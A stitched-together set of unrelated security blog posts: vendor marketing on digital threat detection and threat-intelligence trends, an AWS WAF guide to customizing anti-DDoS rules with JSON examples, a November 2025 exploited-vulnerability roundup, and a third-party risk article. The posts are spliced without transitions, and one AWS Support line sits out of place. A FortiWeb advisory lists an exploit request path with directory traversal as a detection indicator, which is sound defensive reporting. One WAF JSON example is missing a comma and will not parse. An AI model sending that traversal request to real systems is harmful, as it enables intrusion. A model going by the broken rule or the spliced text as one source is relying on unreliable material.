• Evolving adversary techniques, including automated attacks and infrastructure that changes by the hour.
• Expanding attack surfaces driven by SaaS adoption, third-party dependencies, social platforms, and cloud-native architectures.
• Alert fatigue from manually sifting through noise to find high-risk signals.

As a result, organizations often struggle to distinguish meaningful threats from the constant noise of daily security events.

Digital threat detection (DTD) addresses this challenge by shifting focus from isolated internal signals to continuous identification, analysis, and prioritization of threats across an organization’s entire digital ecosystem. Unlike traditional perimeter-focused detection, which relies on firewalls, antivirus, and static rules, DTD recognizes that modern threats originate from external infrastructure, supply chains, cloud environments, identities, brand assets, and the open web.

The shift from reactive, point-in-time monitoring toward a proactive, intelligence-led model gives defenders the context they need to understand not just what is happening, but why it’s happening and what to do next. This article will serve as a comprehensive guide for security professionals, defining DTD and exploring the essential tools, methodologies, and practices required to build a proactive and intelligent security program.

Understanding the Modern Digital Threat Landscape

To build an effective digital threat detection program, security teams must understand where modern threats originate and how attackers operate.

Key Threat Vectors Beyond the Perimeter

Leaked credentials and account takeover attempts (stolen identities)

Compromised identities are now the most common entry point for attackers. Credentials harvested from stealer logs, breach dumps, or phishing toolkits often circulate online long before defenders know they’re exposed.

Brand impersonation, domain spoofing, and phishing campaigns

Attackers increasingly weaponize an organization’s public presence and create look-alike domains, fraudulent social profiles, or cloned websites to exploit user trust. These impersonation campaigns often serve as the launchpad for credential harvesting, malware delivery, and social engineering operations.

Vulnerability exploitation and zero-day threats in the external attack surface

Public-facing assets such as web applications, cloud workloads, exposed services, and third-party integrations are constantly probed for misconfigurations and unpatched vulnerabilities.

Dark web chatter and early warning signs of planned ransomware or DDoS attacks

Long before a ransomware deployment or DDoS attack hits production systems, signals often surface in underground communities. Threat actors discuss tools, trade access, or signal interest in specific industries and regions.

Why an Intelligence-Driven Approach is Better

For years, security programs centered their detection efforts on internal activity: log anomalies, endpoint alerts, authentication failures, and other signals that only appear after an attacker is already inside the environment. This approach is inherently reactive. It reveals what is happening within your systems, but not what is forming outside your walls or who may be preparing to target you next.

Digital threat detection reverses that model. Instead of waiting for internal symptoms of compromise, it looks outward at the behaviors and infrastructure, and intent of adversaries operating across the broader digital ecosystem. This expanded perspective allows teams to identify threats earlier in the kill chain, sometimes before any malicious activity reaches corporate networks.

The real advantage comes from context. Raw data on its own is ambiguous: an IP address, a file hash, a domain registration. With intelligence layered on top, those fragments become meaningful. Context exposes intent, and intent enables defenders to prioritize, escalate, or respond with precision rather than guesswork.

Essential Digital Threat Detection Tools and Technologies

Modern digital threat detection depends on a collection of tools that work together to surface early warning signals and provide the context you need to validate threats quickly.

Threat Intelligence Platforms: The Engines of Context

No human team can manually aggregate, cross-reference, and analyze the amount of threat data emerging across the web every minute. A modern threat intelligence platform automates this work, transforming massive volumes of raw, unstructured information into intelligence that analysts can act on immediately.

Threat intelligence platforms collect data from a wide range of external sources and standardize it into a usable format. Sources include:

• Open web reporting
• Underground forums
• Dark web marketplaces
• Malware sandboxes
• Threat feeds
• Researcher data

Once the data is normalized, the platform enriches it with context, such as:

• Relationships between indicators
• Associations with known threat actors
• Infrastructure reuse
• Activity targeting specific industries or regions

This enrichment process turns isolated artifacts into a coherent picture of adversary behavior, revealing intent, relevance, and potential impact in ways raw data alone cannot.

Security Orchestration, Automation, and Response (SOAR)

While threat intelligence provides the context needed to understand potential risks, SOAR platforms help teams take action on that intelligence quickly and consistently. These tools automate routine tasks that would otherwise consume analyst time, ensuring that high-priority threats receive attention without delay.

Key SOAR capabilities include:

• Enriching alerts with additional context from internal systems (SIEM, EDR, IAM, cloud telemetry)
• Blocking malicious indicators across firewalls, endpoints, cloud environments, and identity systems
• Initiating takedown workflows for harmful domains or impersonation infrastructure
• Coordinating actions across multiple security tools to ensure a unified response
• Documenting each step of the investigation for reporting and compliance

By automating the mechanics of response, SOAR platforms allow analysts to focus on higher-value decision making rather than repetitive execution, reducing dwell time and improving overall response efficiency.

Endpoint Detection and Response (EDR) & Security Information and Event Management (SIEM) Integration

EDR and SIEM platforms provide the internal vantage point of a digital threat detection program.

EDR monitors activity directly on endpoints, capturing details such as running processes, file modifications, and other behaviors that may indicate compromise on individual devices. SIEM systems, by contrast, collect and correlate logs from across the entire environment, including authentication systems, cloud services, applications, and network devices.

Together, these tools create a continuous stream of telemetry that reveals what is happening inside the organization, from process activity and login events to cloud logs and network traffic. When this internal data is correlated with intelligence about adversary infrastructure, active campaigns, or malicious tooling observed in the wild, EDR and SIEM can separate routine activity from signs of actual threats.

Modern platforms increasingly apply AI and machine learning to enhance this capability. Instead of relying solely on static signatures or predefined rules, they learn normal behavior across users and systems and identify subtle deviations that signal compromise.

Overcoming the Analyst’s Biggest Pain Points

Today’s threat landscape places enormous pressure on analysts. Internal alerts arrive faster than they can investigate them, and the earliest indicators of an attack often originate in places no traditional tool monitors.

The Drain of Alert Fatigue and False Positives

High alert volumes are a major driver of analyst burnout. Much of the day is spent triaging notifications with little context, forcing analysts to manually determine which events represent real threats and which are routine activity. The repetitive, high-stakes nature of this work is exhausting and increases the likelihood that critical signals will be missed.

The only reliable way to cut through this noise is to improve the quality of context surrounding each alert. When telemetry is paired with intelligence that explains adversary intent, infrastructure, and behavior, analysts can immediately see which signals matter and which can be safely deprioritized.

The Blind Spots of External Risk

Much of the activity that signals an impending attack happens beyond the reach of traditional security monitoring. Early warning signs often surface on the deep and dark webs, in criminal marketplaces, inside closed forums, and across fast-moving social platforms.

These external environments are frequently where the most actionable signals appear first. Credential dumps, access sales, discussions about targeting specific industries, and the creation of malicious infrastructure often occur long before any internal alert fires. Without insight into this external ecosystem, organizations are effectively blind to the earliest stages of an attack. And monitoring these spaces manually is nearly impossible at scale.

Recorded Future: Operationalizing Digital Threat Intelligence at Scale

Recorded Future’s approach to digital threat detection delivers real-time intelligence at enterprise scale, closing the visibility gaps that make modern detection so difficult and giving you the context you need, the moment you need it.

Real-Time Context from the Intelligence GraphⓇ

The Intelligence GraphⓇ addresses the fragmentation of global threat data, one of the most persistent challenges in modern security operations. Threat activity unfolds across millions of sources, including:

• Open web
• Dark web marketplaces
• Malware repositories
• Technical feeds
• Network telemetry
• Closed underground forums

No analyst team could manually track, interpret, and connect this information at the speed attackers operate. The Intelligence GraphⓇ solves this problem by continuously indexing and analyzing this vast ecosystem in real time. It structures billions of data points into clear relationships among threat actors, infrastructure, malware families, vulnerabilities, and targeted industries. Because these connections are made automatically, the platform can deliver immediate, decision-ready context on any indicator.

Comprehensive Digital Risk Protection for External Threats

Real-time context helps analysts understand what a threat is and who is behind it. But detection isn’t only about interpreting indicators; it's also about discovering specific threats against your organization across the broader internet.

Recorded Future’s Digital Risk Protection (DRP) solution focuses on the same external spaces where global threat activity occurs, but applies a different lens: it monitors those environments for anything tied to your brand, domains, executives, or employees. This targeted approach ensures you see early signals of impersonation, credential theft, or emerging attacks long before they reach your internal systems.

Accelerating Time-to-Action through Integrated Intelligence

Recorded Future accelerates detection and response by delivering high-fidelity intelligence directly into the tools analysts already rely on.

An extensive ecosystem of pre-built integrations and flexible APIs connect directly with every major SIEM, SOAR, and EDR platform. These integrations feed enriched threat context, dynamic Risk Scores, and prioritized intelligence into the tools analysts already use.

Collective InsightsⓇ adds a layer of visibility that other tools cannot provide. It consolidates detections from across your SIEM, EDR, SOAR, IAM, and other security platforms into a single view, then enriches them with high-fidelity Recorded Future intelligence.

This approach connects internal alerts to one another and exposes relationships that would remain hidden when each tool operates in isolation. By identifying MITRE ATT&CK® tactics, techniques and procedures (TTPs) and attributing malware, it surfaces attack patterns you can only see from an aggregated view.

Smarter, Faster Security Decisions

Recorded Future delivers the automated, contextual intelligence needed to identify risks the moment they emerge and empower teams to respond with confidence.

By unifying internal telemetry with real-time global threat insight and organization-specific targeting data, the platform enables smarter prioritization, faster action, and dramatically less noise.

These intelligence-driven workflows directly improve core detection metrics such as time-to-detect (TTD) and time-to-contain (TTC), giving organizations a measurable way to demonstrate progress and strengthen operational resilience.

Strengthen your security program and move toward intelligence-driven operations with confidence. Explore how Recorded Future can support your Digital Threat Detection strategy.

If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.

Introduction

The cybersecurity landscape is rapidly growing in scale and complexity. Enterprises face a rising tide of sophisticated threats that cannot be contained by traditional, reactive defenses alone. With AI and automation lowering the barrier to entry for attackers exploiting new avenues, there is more opportunity than ever for disruptive, high-volume attacks.

The need for organizations to mature their threat intelligence capabilities is clear, but the road to get there isn’t always easy. Recorded Future’s 2025 State of Threat Intelligence Report found that only 49% of enterprises currently consider their threat intelligence maturity as advanced, yet 87% expect to make significant progress in the next two years.

This gap between today’s capabilities and tomorrow’s ambitions reflects a familiar challenge: organizations have plenty of threat data, but struggle to connect, automate, and operationalize it effectively across teams and tools.

Based on insights from the report, here is what enterprises can expect when it comes to threat intelligence in 2026.

Key Trends Driving Threat Intelligence Evolution

There are several key trends set to shape threat intelligence in the coming year, and organizations wanting to prioritize maturity should be on the lookout for partners that embrace and evolve with these currents in mind.

• Vendor Consolidation for Unified Intelligence: Enterprises are looking to reduce tool fragmentation by consolidating threat intelligence vendors and feeds into a single platform. A unified approach promises a “single source of truth,” making it easier to operationalize intelligence across the organization.
• Deeper Integration into Security Workflows: Organizations want threat intelligence deeply embedded in their existing security stack rather than as a siloed feed. In fact, 25% of enterprises plan to integrate threat intelligence with additional workflows (e.g. IAM, fraud, GRC) in the next two years to broaden their reach.
• Automation and AI Augmentation: To cope with accelerating threats and volumes of data, teams are embracing automation in threat intelligence. The future lies in machine-speed analysis that automatically correlates and enriches intelligence so analysts can focus on high-level judgment.
• Fusion of Internal and External Data: Over a third of organizations (36%) plan to combine external threat intelligence with data from their own environment to gain better insight into risk posture (and even benchmark against peers).

Challenges Holding Team Backs Today

Despite this forward momentum, many enterprise teams still struggle with persistent challenges that hinder their threat intelligence efforts.

• Integration Gaps: Fragmented ecosystems remain a top concern. Nearly half of organizations (48%) cite poor integration with existing security tools among their biggest pain points.
• Credibility and Trust Issues: Data means little if analysts don’t trust the intelligence. Half of enterprises say verifying the credibility and accuracy of threat intelligence is a major challenge.
• Signal-to-Noise Overload: With huge volumes of alerts and feeds, 46% of enterprises struggle to filter relevant insight from noise. This information overload hampers visibility into real threats, drains team efficiency, and contributes to analyst burnout.
• Lack of Context for Action: Even when threat data is available, 46% of organizations lack the context needed to translate it into meaningful risk insights or actionable priorities.

These barriers help explain why many programs plateau at an intermediate maturity. Teams may ingest more data sources over time, but still fall short on the automation, integration, and context needed for truly advanced, predictive intelligence.

Envisioning Threat Intelligence in 2026: Proactive, Integrated, and Business-Aligned

In the near future, leading enterprises will treat threat intelligence not as a side task but as a strategic function integrated into business processes. This means embedding threat insights directly into risk assessments, vulnerability management, and even board-level decisions on security (notably, 58% of organizations already use threat intelligence to guide business risk assessment decisions today).

Instead of simply reacting to incidents after they occur, advanced threat intelligence programs will analyze patterns and emerging trends to warn of potential attacks before they fully materialize. This doesn’t mean magically “knowing the future,” but sharpening awareness by connecting subtle signals across many sources and mapping them to one’s environment.

Human analysts will still be central for this kind of work, though their capabilities will be augmented by AI such that detection and response happen at machine speed. Intelligence platforms will automatically enrich new indicators, correlate them with ongoing events, and even trigger protective actions in real time—all with analysts overseeing the entire process.

Ultimately, a mature program in 2026 will be measured by the outcomes it enables and the risk it reduces for the organization. This means protecting the assets, uptime, and reputation the business cares about, and improving decision quality at all levels of management.

Implications for 2026 Security Budgets and Investments

As threat intelligence becomes more central to security strategy, it’s also becoming a bigger line item in budgets. In fact, 91% of organizations plan to increase their threat intelligence spending in 2026, reflecting its critical role in an era of escalating cyber threats.

One likely area for these increased funds is platform consolidation. Many teams are reevaluating their myriad point solutions and considering a move to more integrated platforms that unify multiple sources and use cases, reducing complexity and cost over time.

Another likely investment will be in automation and AI capabilities. With cyber talent scarce and alert volumes ever-increasing, it will be vital to budget for tools that automate threat intelligence workflows end-to-end. From data collection and enrichment to triage and even initial response, automation will be key to doing more with the same team.

Organizations should also ensure that new investments deliver contextual intelligence tailored to their business. It’s not enough to simply buy more feeds or tools that spit out data; the value lies in solutions that fuse internal data with external threat feeds and apply analytics to highlight what matters most.

That said, not every organization will have the same needs and challenges. The key to fully maximizing ROI will be aligning spending with the organization’s biggest gaps and pain points. If credibility of data is a major challenge, invest in sources with proven reliability or validation features. If integration is a key issue, focus spending on consolidation projects or appropriate vendor services.

Security teams should also establish clear metrics (such as reduced incident response time or incidents prevented) to measure the impact of threat intelligence investments. For example, over half (54%) of organizations now measure success by improved detection and response times, making it a top metric for demonstrating value delivered by threat intelligence initiatives.

Charting the Course to 2026

Enterprise threat intelligence is undoubtedly maturing and becoming more ingrained in security programs, yet much work still remains. Nearly half of organizations may call themselves “advanced” today, but truly predictive, integrated intelligence at scale is still a goalpost ahead. In looking toward 2026, security leaders should double down on the fundamentals that drive intelligence maturity: integration, automation, and alignment with business priorities.

By breaking down silos between tools and teams, trusting and acting on intelligence through improved data credibility and context, and continually measuring what works, teams can evolve from reactive defense to an anticipatory, intelligence-driven security posture.

So what are some practical next steps? First, it’s wise to benchmark your organization’s current program to identify gaps and opportunities. Tools like Recorded Future’s Threat Intelligence Maturity Assessment provide a structured way to evaluate where you stand today and get tailored recommendations on how to improve.

With that insight, you can develop a roadmap that includes the right people, process, and technology investments to operationalize threat intelligence in the most efficient way. Keep the big picture in mind: the ultimate aim is to see more threats, identify them faster, and take action to reduce risk before damage is done. With a thoughtful strategy and an eye towards these trends, organizations can chart a course from today’s challenges to a more proactive and resilient threat intelligence function in 2026 and beyond.

If you have feedback about this post, submit comments in the Comments section below.

Over the first half of this year, AWS WAF introduced new application-layer protections to address the growing trend of short-lived, high-throughput Layer 7 (L7) distributed denial of service (DDoS) attacks. These protections are provided through the AWS WAF Anti-DDoS AWS Managed Rules (Anti-DDoS AMR) rule group. While the default configuration is effective for most workloads, you might want to tailor the response to match your application’s risk tolerance.

In this post, you’ll learn how the Anti-DDoS AMR works, and how you can customize its behavior using labels and additional AWS WAF rules. You’ll walk through three practical scenarios, each demonstrating a different customization technique.

How the Anti-DDoS AMR works at a high level

The Anti-DDoS AMR establishes a baseline of your traffic and uses it to detect anomalies within seconds. As shown in Figure 1, when the Anti-DDoS AMR detects a DDoS attack, it adds the event-detected label to all incoming requests, and the ddos-request label to incoming requests that are suspected of contributing to the attack. It also adds an additional confidence-based label, such as high-suspicion-ddos-request, when the request is suspected of contributing to the attack. In AWS WAF, a label is metadata added to a request by a rule when the rule matches the request. After being added, a label is available for subsequent rules, which can use it to enrich their evaluation logic. The Anti-DDoS AMR uses the added labels to mitigate the DDoS attack.

Figure 1 – Anti-DDOS AMR process flow

Default mitigations are based on a combination of Block and JavaScript Challenge actions. The Challenge action can only be handled properly by a client that’s expecting HTML content. For this reason, you need to exclude the paths of non-challengeable requests (such as API fetches) in the Anti-DDoS AMR configuration. The Anti-DDoS AMR applies the challengeable-request label to requests that don’t match the configured challenge exclusions. By default, the following mitigation rules are evaluated in order:

• ChallengeAllDuringEvent, which is equivalent of the following logic: IF event-detected AND challengeable-request THEN challenge.
• ChallengeDDoSRequests, which is equivalent to the following logic: IF (high-suspicion-ddos-request OR medium-suspicion-ddos-request OR low-suspicion-ddos-request) AND challengeable-request THEN challenge. Its sensitivity can be changed to match your needs, such as only challenge medium and high suspicious DDoS requests.
• DDoSRequests, which is equivalent to the following logic: IF high-suspicion-ddos-request THEN block. Its sensitivity can be changed to match your needs, such as block medium in addition to high suspicious DDoS requests.

Customizing your response to layer 7 DDoS attacks

This customization can be done using two different approaches. In the first approach, you configure the Anti-DDoS AMR to take the action you want, then you add subsequent rules to further harden your response under certain conditions. In the second approach, you change some or all the rules of the Anti-DDoS AMR to count mode, then create additional rules that define your response to DDoS attacks.

In both approaches, the subsequent rules are configured using conditions you define, combined with conditions based on labels applied to requests by the Anti-DDoS AMR. The following section includes three examples of customizing your response to DDoS attacks. The first two examples are based on the first approach, while the last one is based on the second approach.

Example 1: More sensitive mitigation outside of core countries

Let’s suppose that your main business is conducted in two main countries, the UAE and KSA. You are happy with the default behavior of the Anti-DDoS AMR in these countries, but you want to block more aggressively outside of these countries. You can implement this using the following rules:

• Anti-DDoS AMR with default configurations
• A custom rule that blocks if the following conditions are met: Request is initiated from outside of UAE or KSA AND request has high-suspicion-ddos-request or medium-suspicion-ddos-request labels

Configuration

After adding your Anti-DDoS AMR with default configuration, create a subsequent custom rule with the following JSON definition.

Note: You need to use the AWS WAF JSON rule editor or infrastructure-as-code (IaC) tools (such as AWS CloudFormation or Terraform) to define this rule. The current AWS WAF console doesn’t allow creating rules with multiple AND/OR logic nesting.

{
    "Action": {
        "Block": {}
    },
    "Name": "more-sensitive-ddos-mitigation-outside-of-core-countries",
    "Priority": 1,
    "Statement": {
        "AndStatement": {
            "Statements": [
                {
                    "NotStatement": {
                        "Statement": {
                            "GeoMatchStatement": {
                                "CountryCodes": [
                                    "AE",
                                    "SA"
                                ]
                            }
                        }
                    }
                },
                {
                    "OrStatement": {
                        "Statements": [
                            {
                                "LabelMatchStatement": {
                                    "Key": "awswaf:managed:aws:anti-ddos:medium-suspicion-ddos-request",
                                    "Scope": "LABEL"
                                }
                            },
                            {
                                "LabelMatchStatement": {
                                    "Key": "awswaf:managed:aws:anti-ddos:high-suspicion-ddos-request",
                                    "Scope": "LABEL"
                                }
                            }
                        ]
                    }
                }
            ]
        }
    },
    "VisibilityConfig": {
        "CloudWatchMetricsEnabled": true,
        "MetricName": "more-sensitive-ddos-mitigation-outside-of-core-countries",
        "SampledRequestsEnabled": true
    }
}

Similarly, during an attack, you can more aggressively mitigate requests from unusual sources, such as requests labeled by the Anonymous IP managed rule group as coming from web hosting and cloud providers.

Example 2: Lower rate-limiting thresholds during DDoS attacks

Suppose that your application has sensitive URLs that are compute heavy. To protect the availability of your application, you have applied a rate limiting rule to these URLs configured with a 100 requests threshold over 2 mins window. You can harden this response during a DDoS attack by applying a more aggressive threshold. You can implement this using the following rules:

1. An Anti-DDoS AMR with default configurations
2. A rate-limiting rule, scoped to sensitive URLs, configured with a 100 requests threshold over a 2-minute window
3. A rate-limiting rule, scoped to sensitive URLs and to the event-detected label, configured with a 10 requests threshold over a 10-minute window

Configuration

After adding your Anti-DDoS AMR with default configuration, and your rate-limit rule for sensitive URLs, create a subsequent new rate limiting rule with the following JSON definition.

{
    "Action": {
        "Block": {}
    },
    "Name": "ip-rate-limit-10-10mins-under-ddos",
    "Priority": 2,
    "Statement": {
        "RateBasedStatement": {
            "AggregateKeyType": "IP",
            "EvaluationWindowSec": 600,
            "Limit": 10,
            "ScopeDownStatement": {
                "AndStatement": {
                    "Statements": [
                        {
                            "ByteMatchStatement": {
                                "FieldToMatch": {
                                    "UriPath": {}
                                },
                                "PositionalConstraint": "EXACTLY",
                                "SearchString": "/sensitive-url",
                                "TextTransformations": [
                                    {
                                        "Priority": 0,
                                        "Type": "LOWERCASE"
                                    }
                                ]
                            }
                        },
                        {
                            "LabelMatchStatement": {
                                "Key": "awswaf:managed:aws:anti-ddos:event-detected",
                                "Scope": "LABEL"
                            }
                        }
                    ]
                }
            }
        }
    },
    "VisibilityConfig": {
        "CloudWatchMetricsEnabled": true,
        "MetricName": "ip-rate-limit-10-10mins-under-ddos",
        "SampledRequestsEnabled": true
    }
}

Example 3: Adaptive response according to your application scalability

Suppose that you are operating a legacy application that can safely scale to a certain threshold of traffic volume, after which it degrades. If the total traffic volume, including the DDoS traffic, is below this threshold, you decide not to challenge all requests during a DDoS attack to avoid impacting user experience. In this scenario, you’d only rely on the default block action of high suspicion DDoS requests. If the total traffic volume is above the safe threshold of your legacy application to process traffic, then you decide to use the equivalent of Anti-DDoS AMR’s default ChallengeDDoSRequests mitigation. You can implement this using the following rules:

1. An Anti-DDoS AMR with ChallengeAllDuringEvent and ChallengeDDoSRequests rules configured in count mode.
2. A rate limiting rule that counts your traffic and is configured with a threshold corresponding to your application capacity to normally process traffic. As action, it only counts requests and applies a custom label—for example, CapacityExceeded—when its thresholds are met.
3. A rule that mimics ChallengeDDoSRequests but only when the CapacityExceeded label is present: Challenge if ddos-request, CapacityExceeded, and challengeable-request labels are present

Configuration

First, update your Anti-DDoS AMR by changing Challenge actions to Count actions.

Figure 2 – Updated Anti-DDoS AMR rules in example 3

Then create the rate limit capacity-exceeded-detection rule in count mode, using the following JSON definition:

{
    "Action": {
        "Count": {}
    },
    "Name": "capacity-exceeded-detection",
    "Priority": 2,
    "RuleLabels": [
        {
            "Name": "mycompany:capacityexceeded"
        }
    ],
    "Statement": {
        "RateBasedStatement": {
            "Limit": 10000
            "AggregateKeyType": "CONSTANT",
            "EvaluationWindowSec": 120,
            "ScopeDownStatement": {
                "NotStatement": {
                    "Statement": {
                        "LabelMatchStatement": {
                            "Scope": "LABEL",
                            "Key": "non-exsiting-label-to-count-all-requests"
                        }
                    }
                }
            }
        }
    },
    "VisibilityConfig": {
        "CloudWatchMetricsEnabled": true,
        "MetricName": "capacity-exceeded-detection",
        "SampledRequestsEnabled": true
    }
}

Finally, create the challenge-if-ddos-and-capacity-exceeded challenge rule using the following JSON definition:

{
    "Action": {
        "Challenge": {}
    },
    "Name": "challenge-if-ddos-and-capacity-exceeded",
    "Priority": 3,
    "Statement": {
        "AndStatement": {
            "Statements": [
                {
                    "LabelMatchStatement": {
                        "Key": "mycompany:capacityexceeded",
                        "Scope": "LABEL"
                    }
                },
                {
                    "LabelMatchStatement": {
                        "Key": "awswaf:managed:aws:anti-ddos:ddos-request",
                        "Scope": "LABEL"
                    }
                },
                {
                    "LabelMatchStatement": {
                        "Key": "awswaf:managed:aws:anti-ddos:challengeable-request",
                        "Scope": "LABEL"
                    }
                }
            ]
        }
    },
    "VisibilityConfig": {
        "CloudWatchMetricsEnabled": true,
        "MetricName": "challenge-if-ddos-and-capacity-exceeded",
        "SampledRequestsEnabled": true
    }
}

Conclusion

By combining the built-in protections of the Anti-DDoS AMR with custom logic, you can adapt your defenses to match your unique risk profile, traffic patterns, and application scalability. The examples in this post illustrate how you can fine-tune sensitivity, enforce stronger mitigations under specific conditions, and even build adaptive defenses that respond dynamically to your system’s capacity.

You can use the dynamic labeling system in AWS WAF to implement customization granularly. You can also use AWS WAF labels to exclude costly logging of DDoS attack traffic.

If you have feedback about this post, submit comments in the Comments section below.

November 2025 saw a significant 69% decrease in high-impact vulnerabilities, with Recorded Future's Insikt Group® identifying 10 vulnerabilities requiring immediate attention, down from 32 in October.

What security teams need to know:

• Fortinet leads concerns: Two critical FortiWeb vulnerabilities (CVE-2025-64446 and CVE-2025-58034) are under active exploitation
• LANDFALL spyware campaign: Threat actors weaponized Samsung's image processing flaw (CVE-2025-21042) for zero-click Android attacks
• Public exploits proliferate: Seven of ten vulnerabilities have public proof-of-concept code available
• OS Command Injection and Out-of-bounds Write were tied as the most common weakness types

Bottom line: The reduced volume shouldn't signal reduced vigilance. November's vulnerabilities demonstrate that threat actors favored quality over quantity in their exploitation campaigns.

Quick Reference: November 2025 Vulnerability Table

All 10 vulnerabilities below were actively exploited in November 2025.

Table 1: List of vulnerabilities that were actively exploited in November based on Recorded Future data (Source: Recorded Future)

Key Trends: November 2025

Vendors Most Affected

• Fortinet dominated with two critical FortiWeb vulnerabilities, both enabling remote exploitation
• Microsoft faced a kernel-level race condition affecting all modern Windows versions
• Samsung saw the weaponization of an image processing vulnerability for sophisticated mobile attacks
• Additional affected vendors: Gladinet, Google, Oracle, WatchGuard, CentOS, and Autonomy (OpenPLC)

Most Common Weakness Types

• CWE-78 – OS Command Injection (tied for first)
• CWE-787 – Out-of-bounds Write (tied for first)
• CWE-284 – Improper Access Control
• CWE-362 – Race Condition
• CWE-306 – Missing Authentication for Critical Function

Threat Actor Activity

LANDFALL Android spyware campaign marked November's most sophisticated operation:

• Exploited CVE-2025-21042 for zero-click remote code execution on Samsung devices
• Targeted Middle Eastern countries (Iraq, Iran, Turkey, Morocco) with commercial-grade spyware
• Deployed via weaponized DNG image files through WhatsApp
• Achieved persistent device compromise without user interaction
• Demonstrated advanced anti-analysis and SELinux bypass capabilities

Priority Alert: Active Exploitation

These vulnerabilities demand immediate attention due to confirmed exploitation in the wild.

CVE-2025-64446 | Fortinet FortiWeb

Risk Score: 99 (Very Critical) | CISA KEV: Added November 14, 2025

Why this matters: Unauthenticated attackers can bypass authentication entirely and create administrative accounts. With 4,768 exposed FortiWeb instances globally, this represents a critical internet-facing risk.

Affected versions: FortiWeb 8.0.0-8.0.1, 7.6.0-7.6.4, 7.4.0-7.4.9, 7.2.0-7.2.11, 7.0.0-7.0.11

Immediate actions:

• Apply Fortinet's security updates (8.0.2, 7.6.5, 7.4.10, 7.2.12, or 7.0.12)
• Monitor for POST requests to /api/v2.0/cmd/system/admin%3F/../../../cgi-bin/fwbcgi
• Check for unauthorized admin accounts created since October 2025
• Review logs for Base64-encoded CGIINFO headers
• Disable HTTP/HTTPS on internet-facing interfaces if patching is delayed

Exposure: ~4,768 FortiWeb instances visible on Shodan (Netherlands, US, Germany, Italy, Peru)

Figure 1: Vulnerability Intelligence Card® for CVE-2025-64446 in Recorded Future (Source: Recorded Future)

Key Takeaways

• Static vendor checks fall short: Traditional, point-in-time third-party risk management practices (e.g. annual questionnaires) leave organizations blind to emerging vendor threats between audits. Continuous monitoring is now a must.
• Five common risk scenarios: Supply chain attacks, widespread software vulnerabilities, hidden fourth-party dependencies, vendor credential theft, and vendor instability each illustrate how “trusting” vendors can lead to breaches or business disruptions.
• Intelligence-driven defense: Recorded Future’s platform provides real-time visibility into your vendor ecosystem—from dark web credential leaks to fourth-party relationships—enabling proactive mitigation before incidents impact your organization.
• From trust to verification: The solution is to move from static trust to continuous verification. By continuously assessing vendors’ cyber and business health (and even integrating intelligence into workflows like ServiceNow), security leaders can vastly strengthen their vendor risk management framework.

Your Vendor Ecosystem Is a Black Box: It’s Time to Turn on the Lights

For CISOs and risk leaders, the attack surface now goes far beyond the footprint of the business. It’s a sprawling web of SaaS vendors, software suppliers, MSPs, payment processors, logistics partners, and niche fourth parties your vendors rely on. Every connection expands risk—often outside direct visibility. In other words, your security may only be as strong as your weakest vendor or partner.

Traditional third-party risk management (TPRM)—static security questionnaires and annual audits—cannot keep pace. They describe what a vendor claimed their security looked like months ago, not what it is right now. Meanwhile, the most damaging events (supply chain attacks, zero-day exploitation, credential resale, concentration failures) unfold in hours and days, not quarters.

This gap between point-in-time paperwork and real-time risk is why third-party exposure has become a primary vector for catastrophic breaches and business outages.

This article will highlight and analyze 5 real-world third-party risk examples. For each, we'll show why traditional methods fail and how continuous, real-time third-party risk management and threat intelligence is the only effective prevention.

5 Third-Party Risk Examples and How to Prevent Them

Modern vendor risk comes in many forms. Let’s explore five common scenarios—and how proactive measures can stop them:

Type 1: The Software Supply Chain Attack

The Scenario: One of the most damaging third-party risks is a software supply chain attack. This occurs when threat actors breach a trusted software vendor’s development environment and secretly inject malicious code into a legitimate, digitally signed software update. The tainted update, a “Trojan horse,” is then distributed to the vendor’s customers, giving the attacker access into thousands of networks at once.

Real-World Example: The SolarWinds Orion breach is a quintessential case. In 2020, nation-state hackers compromised SolarWinds’ build pipeline and inserted malware into an Orion software update. The malicious update, being validly signed, was pushed to around 18,000 customers, including numerous government agencies and Fortune 500 companies, who all gladly installed it, thereby granting the attackers insider access to their systems.

Why Traditional Methods Fail: A standard vendor security questionnaire or audit would never have caught this. SolarWinds had passed assessments and appeared reputable. The update itself was digitally signed and appeared “trusted” to antivirus scanners and other controls. In short, you cannot audit your way out of a risk that’s been inserted into a trusted product’s software supply chain.

The Intelligence-Led Solution: Preventing a supply chain attack means detecting subtle warning signs before the breach fully unfolds. Recorded Future’s platform continuously monitors for early indicators tied to your vendors. If threat actors known for targeting CI/CD pipelines start discussing or probing one of your software vendors, you’d know. If intelligence suggests a vendor’s code-signing certificate may be compromised, you’d get an alert. Armed with this foresight, you could elevate that vendor’s risk status, scrutinize their software updates more closely, and even hunt for indicators of compromise in your environment before the breach becomes public knowledge.

Type 2: The Widespread Third-Party Vulnerability

The Scenario: A critical software vulnerability (often a zero-day) is discovered in a common component that many of your vendors use. It could be an open-source library, a popular IT tool, or a cloud service. You have no direct visibility that your suppliers rely on this component. Attackers quickly develop an exploit and start compromising organizations at scale via this flaw, long before most victims even realize they’re exposed through their third parties.

Real-World Example: The MOVEit Transfer zero-day (exploited by the Cl0p ransomware group) and the Log4j “Log4Shell” vulnerability are perfect examples of this risk. In the case of MOVEit, a single bug in a widely used file-transfer product led to the mass theft of data from thousands of companies, many of whom weren’t even direct customers of MOVEit, but their vendors were. Similarly, the Log4j flaw impacted countless businesses indirectly because software used by their contractors and providers included the vulnerable library.

Why Traditional Methods Fail: This is fundamentally a technology visibility problem. A point-in-time survey asking your vendors “Do you use MOVEit?” is too little, too late. By the time you send out a questionnaire and get a reply (if you get one at all), attackers may have already exploited the vulnerability and exfiltrated data. No organization can manually track every piece of software in their extended vendor ecosystem through periodic check-ins. In the MOVEit incident, many companies had no idea they were at risk until news of data breaches surfaced. Traditional vendor risk management simply isn’t designed to monitor technical exposure in real time.

The Intelligence-Led Solution: Defending against widespread vulnerabilities requires connecting two dots instantly: what’s vulnerable and who in your supply chain is using it. This is where an intelligence platform shines. Recorded Future’s approach combines technical attack surface intelligence with real-time vulnerability tracking. It continuously scans the internet to map out the external-facing tech stack of your third parties. The moment a new critical vulnerability is disclosed, Recorded Future’s intelligence automatically checks which of your vendors are running that technology. You receive an immediate, prioritized alert such as: “CRITICAL: 15 of your third-party vendors are exposing servers running [the vulnerable software]. Prompt them to apply patches or mitigations immediately.”

Type 3: The Fourth-Party & Concentration Risk

